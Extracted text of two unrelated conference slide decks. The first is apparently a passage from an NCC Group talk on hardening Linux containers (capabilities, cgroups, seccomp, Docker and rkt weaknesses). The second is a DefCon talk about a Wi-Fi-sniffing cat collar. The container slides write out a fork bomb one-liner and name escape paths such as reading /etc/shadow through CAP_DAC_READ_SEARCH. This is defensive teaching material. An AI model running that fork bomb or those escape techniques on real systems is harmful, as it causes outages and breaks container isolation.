BusyBox v1.21.1 (Ubuntu 1:1.21.0-1ubuntu1) built-in shell
(ash) …
$ id
uid=0(root) gid=0(root)
$ sleep 1337
2015
NCC Group
47
USER NS example
100000 17110 0.0 0.0 2184 260 pts/14 S+ 12:03 0:00 sleep 1337
2015
NCC Group
48
Capabilities
2015
NCC Group
49
root
CAP_NET_ADMIN
CAP_SYS_PCAP
CAP_SYS_MODULE
CAP_SYS_RAWIO
CAP_MKNOD
CAP_NET_BIND_SERVICE
CAP_SYSLOG
CAP_NET_RAW
CAP_DAC_READ_SEARCH
CAP_MAC_ADMIN
CAP_SYS_PTRACE
CAP_SETGID
CAP_SETUID
CAP_SYS_BOOT
CAP_SYS_TIME
CAP_SYS_CHROOT
CAP_AUDIT_WRITE
CAP_WAKE_ALARM
CAP_SYS_ADMIN
Pros: Kernel devs adding them
Cons: Busy (and lazy) kernel devs
Result: Semi-working capabilities model!
2015
NCC Group
50
Capabilities
CAP_NET_ADMIN
CAP_NET_RAW
CAP_NET_BIND_SERVICE
CAP_SYS_RESOURCE
CAP_SYS_PTRACE
CAP_SYS_RAWIO
CAP_KILL
2015
NCC Group
51
Examples of Capabilities
What should be dropped ?
2015
NCC Group
52
Dropping Capabilities
Everything!
What if I leave just “CAP_FOO” enabled?
It depends…
$ ls –l /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
2015
NCC Group
53
Fixing ping
$ cp /bin/ping /tmp ; ls –l /tmp/ping
-rwxr-xr-x 1 root root 44168 Mar 18 11:02 /tmp/ping
$ /tmp/ping localhost
ping: icmp open socket: Operation not permitted
$ sudo setcap cap_net_raw=p /tmp/ping
2015
NCC Group
54
Fixing ping
$ getcap /tmp/ping
/tmp/ping = cap_net_raw+p
$ /tmp/ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data
64 bytes from localhost (127.0.0.1): icmp_seq ...
SYS_CHROOT NET_RAW
SYS_MODULE
SYS_RAWIO NET_ADMIN
SYS_PTRACE
MAC_ADMIN CAP_MKNOD
MAC_OVERRIDE
DAC_READ_SEARCH
2015
NCC Group
55
Some Dangerous Capabilities
* Perform a range of system administration operations including:
quotactl(2),
mount(2), umount(2), swapon(2), swapoff(2), sethostname(2), and
setdomain‐
name(2);
* perform privileged syslog(2) operations (since Linux 2.6.37,
CAP_SYSLOG should
be used to permit such operations);
* perform VM86_REQUEST_IRQ vm86(2) command;
* perform IPC_SET and IPC_RMID operations on arbitrary System V
IPC objects;
* perform operations on trusted and security Extended Attributes
(see attr(5));
* use lookup_dcookie(2);
* use ioprio_set(2) to assign IOPRIO_CLASS_RT and (before
Linux 2.6.25)
IOPRIO_CLASS_IDLE I/O scheduling classes;
* forge UID when passing socket credentials;
* perform administrative operations on many device drivers.
2015
NCC Group
56
CAP_SYS_ADMIN == root
* exceed /proc/sys/fs/file-max, the system-wide limit on the
number of open files, in system calls that open files (e.g.,
accept(2), execve(2), open(2), pipe(2));
* employ CLONE_* flags that create new namespaces with clone(2)
and unshare(2);
* call perf_event_open(2);
* access privileged perf event information;
* call setns(2);
* call fanotify_init(2);
* perform KEYCTL_CHOWN and KEYCTL_SETPERM keyctl(2)
operations;
* perform madvise(2) MADV_HWPOISON operation;
* employ the TIOCSTI ioctl(2) to insert characters into the input
queue of a ter‐
minal other than the caller's controlling terminal.
* employ the obsolete nfsservctl(2) system call;
* employ the obsolete bdflush(2) system call;
* perform various privileged block-device ioctl(2) operations;
* perform various privileged filesystem ioctl(2) operations;
See False Boundaries and Arbitrary Code Execution post by Spender
https://forums.grsecurity.net/viewtopic.php?f=7&t=2522
2015
NCC Group
57
Control groups
Hierarchical and inheritable
Controls different subsystems
(Dev, CPU, Mem, I/O, Network)
ulimit on steroids
2015
NCC Group
58
cgroups
Controlling access to resources
based on subgroups:
devices, CPU, I/O, Mem, …
Filling some gaps of namespaces
2015
NCC Group
59
cgroups
Controlling cgroups is typically
performed via a virtual filesystem:
/sys/fs/cgroup
Main configuration (besides
container configs):
/etc/cgrules.conf,
/etc/cgconfig.conf
2015
NCC Group
60
cgroups
cgexec
cgmanager
Container platforms make it easy
2015
NCC Group
61
cgroups
2015
NCC Group
62
Putting that all together…
Namespaces logically isolate kernel elements
Capabilities help enforce namespaces and
reduce undesired privileges
Cgroups limit hardware resources
2015
NCC Group
63
Putting it all together…
Linux Containers
Better than chroot!
Still not virtualization…
2015
NCC Group
64
Enter: Containers (LXC, Docker,
CoreOS rkt, Heroku, Flockport, Kubernets,
Joyant, etc)
Beyond ro, nodev, noexec, nosuid
Bind, Overlay, Union, CoW,
Versioning, even sshfs
2015
NCC Group
65
Mount options
Self-hosted PaaS systems
Amazon EC2
Google App Engine
Rackspace, Heroku
2015
NCC Group
66
Namespaces, Capabilities and Cgroups:
where are they now on Linux servers?
ChromeOS and the Chrome browser
Limited use in Android
Some Linux distros
Sandboxing tools: minijail, mbox
2015
NCC Group
67
Namespaces, Capabilities and Cgroups:
where are they now on Linux clients?
2015
NCC Group
68
LinuX Containers: LXC
lxc.rootfs = /var/lib/lxc/defcon-ctf/rootfs
lxc.utsname = isec
lxc.start.auto = 1
lxc.mount.entry = /lib lib none ro,bind,nodev 0 0
lxc.mount.entry = /lib64 lib64 none ro,bind,noexec 0 0
2015
NCC Group
69
LXC: Template: Basics
lxc.cgroup.tasks.limit = 256
lxc.cgroup.devices.deny = a
lxc.cgroup.devices.allow = b 9:0 r
lxc.cgroup.memory.limit_in_bytes = 4000000
2015
NCC Group
70
LXC: Template: Cgroups
lxc.cap.keep = sys_time sys_nice
lxc.aa_profile = lxc-container-default
lxc.seccomp = /path/to/seccomp.rules
2015
NCC Group
71
LXC: Template: Other Security
2015
NCC Group
72
Recent Advancements
Non-root users can now create/start containers
and be “root” inside the container
Weird things can obviously happen
More work and auditing to be done
2015
NCC Group
73
Unprivileged Containers
There are 190 syscalls in Linux 2.2
There are 337 syscalls in Linux 2.6
There are 340 syscalls in Linux 4.1
How many does your app really need?
2015
NCC Group
74
What about that kernel attack
surface?
SECure COMPuting
Filtering the kernel (yet again)
“System call filtering isn't a sandbox. It provides a
clearly defined mechanism for minimizing the exposed
kernel surface.” – Will @redpig Drewry, Google
2015
NCC Group
75
Seccomp-bpf
Syscall arguments can also be filtered (mostly)
Large number of filters = performance hit
Only really supports x86 and x86_64 (for now)
You’ll need LXC, Minijail or Mbox
(Docker /contrib now, release branch soon (1.8?))
2015
NCC Group
76
Seccomp-bpf
Seccomp-bpf
prctl(2) – operations on a process
PR_SET_SECCOMP:
SECCOMP_MODE_STRICT (old)
SECCOMP_MODE_FILTER (new hotness)
NCC Group - INTERNAL
2015
77
Seccomp-bpf
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_ptrace, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
};
struct sock_fprog prog = {(unsigned short) (sizeof(filter) /
sizeof(filter[0])), filter };
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,
&prog);
NCC Group - INTERNAL
2015
78
Berkeley Packet Filter
# tcpdump –p –nqi wlan0 –d ‘tcp and port 80’
(000) ldh [12]
(001) jeq #0x86dd jt 2 jf 8
(002) ldb [20]
(003) jeq #0x6 jt 4 jf 19
(004) ldh [54]
(005) jeq #0x50 jt 18
jf 6
(006) ldh [56]
(007) jeq #0x50 jt 18
jf 19
(008) jeq #0x800 jt 9 jf 19
(009) ldb [23]
. . . . .
NCC Group - INTERNAL
2015
79
ChromeOS / Google Chrome
Firejail OpenSSH
Capsicum Tor
Mbox vsftpd BIND
LXC QEMU
Opera Browser
Docker (/contrib)
2015
NCC Group
80
Seccomp-bpf: where
Docker
CoreOS
Flockport
Sandstorm.io
RancherOS
… and many more
2015
NCC Group
81
So who is implementing
and supporting containers?
Heroku (ish)
Joyent
Amazon
VMware
Google/Kubernets
2015
NCC Group
82
Lets talk about the big two
2015
NCC Group
83
Packaging and deployment focused –
one app per container
Devs and Ops, DevOps, DevCyberOps,
DevSecOps, BlackOps, etc
Developing PaaS
Makes it easy
2015
NCC Group
84
What is the “big deal”
libcontainer, libchan, libswarm, etc
Written in go
REST API
Running docker daemon (as root)
2015
NCC Group
85
So Docker is just LXC? Nope.
Docker images:
$ docker run --name mynginx –v \
/opt/content:/usr/share/nginx/html:ro -d nginx
Docker Hub:
$ sudo docker run ubuntu:14.04 /bin/echo 'Hello world’
Hello world
Orchestration, Communication, Management
2015
NCC Group
86
Docker Ecosystem
2015
NCC Group
87
Minimal OS for hosting containers
Launching the rkt and app container spec
App container spec picked up by VMware Photon
Separation from Docker and LXC
2015
NCC Group
88
CoreOS
Takes some of the configuration away
FreeBSD::OSX LXC::Docker
Additional packaged tools | features
2015
NCC Group
89
Why Docker, Rocket, etc?
LXC: You want to run a containerized OS or single
app. Hard mode with the most flexibility.
Docker: You want to run a single app per
container. Easy mode with some costs.
CoreOS: You want to host Docker containers or
try and use rkt. So much bleeding it’s rated R.
2015
NCC Group
90
Why Docker, Rocket, etc?
2015
NCC Group
91
Going on the attack
Container to other container
Container to itself
Container to host
Container to support infrastructure
Container to local network
Container to …
2015
NCC Group - INTERNAL
92
Lets think about this….
2015
NCC Group
93
Starting at the top
2015
NCC Group
94
Starting at the top
Lots of drivers, old code, weird filesystems,
old syscalls, platform specific problems
strange or unused network protocols
2015
NCC Group
95
Kernel who?
If you don’t drop the right ones: game over
Not dropping caps also allows kernel code
exec… CAP_NET_ADMIN (CVE-2013-4588, CVE-2011-
2517, CVE-2011-1019, …)
2015
NCC Group
96
Not…. Dropping caps
Speaking of dropping capabilities, a
Docker shocker: CAP_DAC_READ_SEARCH
“Invoke open_by_handle_at(2)”
Brute force the inode of /etc/shadow
Props to Stealth aka Sebastian Kramer
2015
NCC Group
97
Not…. Dropping caps
Without a MAC system, capability
dropping and the user namespace
are your only line of defense
2015
NCC Group
98
Not…. Dropping caps
Procfs: /proc/kcore,
/proc/sys/modprobe,
/proc/sys/kernel/sysrq
Sysfs: /sys
Cgroups does not limit: mknod
Kernel ring buffer:
dmesg
Network access: br0
Unintended devfs: /dev, /dev/shm
2015
NCC Group
99
Not…. Limiting access
Forkbomb! :(){ :|:& };:
Memory, disk, entropy…
2015
NCC Group
100
Not…. Limiting resources
When was the last time you
updated OpenSSL in your Docker
container?
How do you deal with updates in
place if apt-get upgrade is a “no-no”?
2015
NCC Group
101
When good containers go stale
“The flawed assumption of modern
computing environments”
Eggs in one (kernel) basket
AppArmor does a decent job
2015
NCC Group
102
Lack of MAC (Mandatory Access Controls)
Bad defaults: Capability dropping,
networking,
Unprivileged containers finished-ish
A few security fixes have lagged :/
2015
NCC Group
103
LXC Weaknesses
2015
NCC Group
104
Capability dropping: a shocker
Root daemon plus root to use it
Weak REST API authentication defaults
Docker “github all the way down”
2015
NCC Group
105
Docker Weaknesses
Does not drop all capabilities by default, drops all except
“those needed” (still includes some dangerous capabilities
CAP_NET_RAW, CAP_FOWNER, CAP_MKNOD, …)
Docker binds container port maps to all interfaces by
default
Base images are huge… apt-get is hungry
Docker networking defaults allow cross-container
networking and access to Docker host
2015
NCC Group
106
Docker Weaknesses
Giving low rights users access to Docker means giving
them root on the Docker host
Currently missing support for key security features:
seccomp-bpf and the User Namespace
Exposing the socket/REST API inside a container for
introspection <- don’t do that
2015
NCC Group
107
Docker Weaknesses
Docker Weaknesses
About that lack of User namespace….:
Hi all, I'm a maintainer of Docker. As others already
indicated this doesn't work on 1.0. But it could have. Please
remember that at this time, we don't claim Docker out-of-
the-box is suitable for containing untrusted programs with
root privileges. So if you're thinking "pfew, good thing we
upgraded to 1.0 or we were toast", you need to change your
underlying configuration now. Add apparmor or selinux
containment, map trust groups to separate machines, or ideally
don't grant root access to the application. Docker will soon
support user namespaces, which is a great additional security
layer but also not a silver bullet! When we feel comfortable
saying that Docker out-of-the-box can safely contain
untrusted uid0 programs, we will say so clearly.
NCC Group - INTERNAL
2015
108
Posted one year ago :/
2015
NCC Group - INTERNAL
109
2015
NCC Group
110
Rocket (rkt) is extremely new
No root daemon but rkt still requires root…
2015
NCC Group
111
CoreOS “rkt” Weaknesses
2015
NCC Group
112
Rocket does not drop many dangerous
Capabilities or support the User namespace
CoreOS “rkt” Weaknesses
2015
NCC Group
113
Seccomp ? Nope.
Apparmor ? Nope.
SELinux? Kinda.
Root inside container? Yep.
/proc, /proc/sys limits? Nope.
CoreOS “rkt” Weaknesses
2015
NCC Group
114
The Dream
2015
NCC Group
115
The Implementation
2015
NCC Group
116
Open Container Project (OCP)
Robert 'Bob' Morton: At
Security Concepts, we're
projecting the end of crime
in Old Detroit within forty
days.
There's a new guy in town.
His name is RoboCop.
2015
NCC Group
117
Open Container Initiative (OCI?)
Working on a joint specification (OCF) for
containers
Launched runc. An OCF implementation using
libcontainer from Docker.
Unfortunately still not working on RoboCop.
2015
NCC Group
118
That all sounds bad/easy to mess up
… and how to make it better
2015
NCC Group
119
Recommendations
2015
NCC Group
120
Grsecurity/PaX is the only serious
kernel hardening patchset. Just do it
Typical sysctl hardening
Minimal kernel modules
2015
NCC Group
121
Kernel Hardening
Gotta drop them all!
Design for the smallest set
Assume the worst
2015
NCC Group
122
Dropping all the Capabilities
AppArmor
Grsecurity RBAC
SMACK
SELinux
2015
NCC Group
123
Adding a MAC Layer
Defaults to enabled for LXC and
Docker!
Can be nested!
Path based, but hey it works
2015
NCC Group
124
AppArmor
Don’t allow access to docker user or group
Don’t run privileged or root containers
Drop additional capabilities
Upgrade to 1.8 when released (or use /contrib now) which has seccomp-bpf
and User namespace support, w00t!
Checkout docker-bench-security and other solid work by Docker Security
team
Use small base images
2015
NCC Group
125
Docker Specific Hardening
Use a whitelist if you can but a blacklist
will do OK
Docker is exploring a “high”, “med”, “low”
default for 1.8+ but what is really needed is
profiles for each Containerized app.
2015
NCC Group
126
Seccomp-bpf
Mount security, Extended filesystem attributes,
Access controls, Permissions, Logging,
Firewalls, Auditing, Hardened
Toolchain, Safe languages, Attack
surface reduction, Least privileges,
Least Access, Resource Limits, 2FA,
Reduced Complexity, Pentesting
2015
NCC Group
127
Normal System Hardening
Listening on “all interfaces”
(includes docker0/lxcbr0)
Containers are great for network
auditing/traceflow!
2015
NCC Group
128
Network Hardening
2015
NCC Group
129
Trust A
HYPERVISOR/HARDWARE
Linux kernel with grsecurity+pax
Syscall Filtering w/ seccomp-bpf
Minimal container distro
Mount protections
User namespace w/o caps
Hardened application
Trust B
Trust C
Trust D
2015
NCC Group
130
Where do we go from here?
More namespaces (proc, dev)
Minimal hypervisors (ClearContainers)
Minimal container distros
Android or other non-x86 that needs app/system
segmentation/sandboxing
2015
NCC Group
131
Where do we go from here?
“Desktop” applications in containers
Improved seccomp-bpf argument filtering
Hopefully more granular capabilities
….. more vulnerabilities too! :/
2015
NCC Group
132
Where do we go from here?
Microservices
2015
NCC Group
133
Where do we go from here?
2015
NCC Group
134
Where do we go from here?
2015
NCC Group
135
Where do we go from here?
2015
NCC Group
136
Conclusion
It’s not about perfect security but improving the
current state and making attackers work harder
The technologies to support containers can be used to
help secure existing non-container Linux systems
Microservices architecture fits a least-privilege and
least-access container/security model
Physically separate critical security barriers and
isolate by trust
2015
NCC Group
137
In closing
My whitepaper: “Understanding and Hardening
Linux Containers”…
Covers everything here in muuuch more depth!
(background, namespaces, all the capabilities, cgroups, explores
MAC, seccomp-bpf, past container attacks, overall and specific
weaknesses, security recommendations for LXC, Docker, rkt
deployments)
2015
NCC Group
138
Coming soon!
When will the whitepaper be released ?
Hopefully in the next few weeks!
How can I make sure I get it?
Email me! or follow me on Twitter! @dyn___ (totally not a
ploy for more followers)
2015
NCC Group
139
Coming soon!
Any Questions/Comments?
[email protected]
https://twitter.com/@dyn___
2015
NCC Group
140
Thanks! | pdf |
© 2013 tenacitysolutions.com 1835 Alexander Bell Drive, Suite 100, Reston, VA 20191 703-673-3100
Weaponizing your Pets!
The War Kitteh and the Denial of
Service Dog!
DefCon!
10 August 2014!
!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Introductions!
• Gene Bransfield @gbransfield!
• Principle Security Engineer @ Tenacity!
• I Love My Job!
• They want my job!
• They can’t have it!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
What is This About?!
• Having a humorous idea!
• Bringing Ideas to Fruition!
• Stories of Triumph and Woe!
• Valuable Lessons Learned!
!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Weaponize your PETS!?!?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Background:!
• 15% of the world’s Internet traffic is
dedicated to Cats!
• I find most tech briefings boring, so I use
pics of cats to help keep people awake!
!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
The pic that started it all:!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Just Finished a Presentation…
"!
• Someone told me they were going to
give me this tracking collar that they won!
– GPS!
– Cellular!
– Told you where the Kitteh was at all times!
• …add a little wifi sniffer and we’d have a
WAR KITTEH!!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
What about the DoS Dog?!
• AT Outerz0ne!
• LadyMerlin walked in with a dog wearing
a harness that said Denial of Service
Dog!
• I said “Is there a Pineapple in there?”!
– No, the dog is a pain, but that’s a geat idea!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Working Animals!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Bad Ass Working Animals!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Badder Ass Working Animals!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Real Navy Seal!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Flipper Pic!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Other Research Efforts!
• Accoustic Kitty!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
MY STUFF -- Requirements!
• War Kitteh Requirements:!
• CONOP: Put a collar/harness on a cat and allow said
feline to roam the neighborhood normally. The collar/
harness shall contain a GPS tracking device and a
wireless sniffer/scanner. We'll be looking to map WiFi
Access points similar to war driving. !
– 0.) CAT SHALL NOT BE HARMED!
– 1.) Cat shall be able to comfortably wear stuff and should not be
harmed by said stuff or by wearing said stuff!
– 2.) GPS shall record waypoints with associated date/time stamp for
collection post-walkabout (e.g. when the cat returns).!
• a.) optionally, solution to provide on-demand locational data as well so we can
find a lost kitteh or kitteh harness!
– 3.) WiFi sniffer scanner shall sync time with GPS device and collect
wifi SSIDs and other WiFi-related signals for later Analysis!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Other Products!
• Mr Lee Cat Cam!
– http://www.mr-lee-catcam.de!
• Pet Tracker !
– http://www.pettracker.com!
• Garmin!
– https://buy.garmin.com/!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
GumStix!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Cotton Candy!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
RockChip 3066!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Thinking about it…!
• Small form factor!
• GPS!
• Wifi!
• Cellular!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
How ‘bout a Cell Phone?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Now make an APK!?!?!
• Need to code a wifi war driving!
• Let’s do some android coding…?!
• They already thought of that…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
WiGLE WiFi!
!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Cat!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Cat Coat?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
“Cat” Coat!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Plan:!
• Put Tech in Coat!
!
• Put Coat on Cat!
• Send cat on walkabout!
• Recover data when cat returns!
• Profit!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Step 1!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Step 2!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Step 2 cont!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Step 3!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Step… 4?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
…yeah…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Trying this again….!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Ummm….!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
FAIL!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Last Known GPS…?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Lessons Learned!
• Cats are damn hard to work with!
• Always test before you send out ‘spensive
stuff!
• Amazon Prime account!
• Worried about cat, so no more coat!
• Smaller form factor with same capability!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Talked to my Friend Bill…!
• Hobbiest & Technologist!
• What about Arduino!
– Small form factor!
– Low power consumption!
– Does what you need it to do and no more!
– Many chips, variety of solutions!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
What is Arduino?!
• Arduino is an open-source electronics
platform based on easy-to-use hardware
and software. It's intended for anyone
making interactive projects.!
• Lots of expansion boards of “Shields”!
• Make robots, remote control cars, home
security products, etc.!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Freezer check!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Robotic Hand!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Video Games!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Small Form Factor…!
• Arduino Mini…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Good News… Bad News…!
• Good News!!
– Open Source!
– Inexpensive!
• Bad News!!
– Poorly Documented!
– Takes forever to get to you!
– Questionable performance…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Well I Never… !
• Done Anything with Arduino!
• Worked with firmware/small chip sets!
• Not a professional coder…!
• Soldered !
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Don’t Worry!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Plan…!
1.) Learn about Arduino!
"
"-- Get some basic stuff!
!
2.) Decide on most accommodating form
factor for WarKitteh!
!
3.) Put it all together in a collar FTW!
!
4.) Do some stuff with DoS Dog…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Learning Arduino…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Basic Stuff…!
• Arduino Uno!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Flashy Things…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Cooler Stuff!!
• I need software libraries for WiFi !
– They got it!!
• I need software libraries for GPS!
– They got it!!
• I need software libraries for SD card stuff!
– They got it!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Shout Out…!
• Jeremy Blum Videos!
– Jeremyblum.com!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
I r a Expert!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So I got…!
• Arduino WiFi Shield!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
And Finally…!
• Itead Studio GPS Shield!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
The plan…!
• Get a WiFi collection function!
– Write to SD Card!
• Get a GPS tracker!
– Write to SD card!
• Combine!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
WiFi Shield!
• Set up was easy!
• Drivers worked!
• Messing around with parameters and
variables and!
• VICTORY!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
EASY!!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
A bit about GPS!
• NMEA string!
– National Maratime Electronics Association!
$GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47!
!
• Boot process!
– Start up!
• Where am I…?!
– Listen to SPACE!
– Get a lock (at least 3 satellites)!
• 2-15 minutes!!! (depending on conditions)!
!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
GPS Shield!
• Poorly Documented!
• No docs in kit!
• Searched forever to find baudrate of
34800!
• Now I can’t NOT find it!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Put all the components
together!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So weird error…!
• Something about 80% of memory
utilized…!
• Libraries and variables were too much…!
• Arduino Uno – 32K!
• Arduino Mega2560 – 256K!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Purchased the Mega…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Put THAT all together!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
It WORKS!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Arduino Mega2560!
• Mo Memory!
– Mo betta!
• Mo Ports!
– Mo betta!
• Mo Size!
– Not Mo betta!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Tiny Arduino2560?!
• Arduino MegaMini from JK Devices!
• DON’T DO IT!!!!! more later…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Small Form Factor!
• Adafruit Wifi…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Spark Core!
• Spark.io!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
GPS chip!
• GP-635T!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Micro SD Card!
• SparkFun MicroSD Breakout Board!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So it works, but…!
• MegaMini says it’s going to be 4 weeks
to ship at least…!
• Other solutions are too big (size) or too
small (memory)!
• Spark.io Spark Core!
– Shipping problem, had to borrow one!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Real Tech on Spark!
√!
√!
√ !
√!
X!
• ARM 32-bit M3 CPU !
• 128KB Memory (wooHOO!!!) !
• SPI and I2C compliant !
• TI CC3000 WiFi chip !
• “Arduino Compatible” !
– Worked with external components!
– Coding wouldn’t work!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
OMG!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Start-up Product!
• Starting everything from scratch!
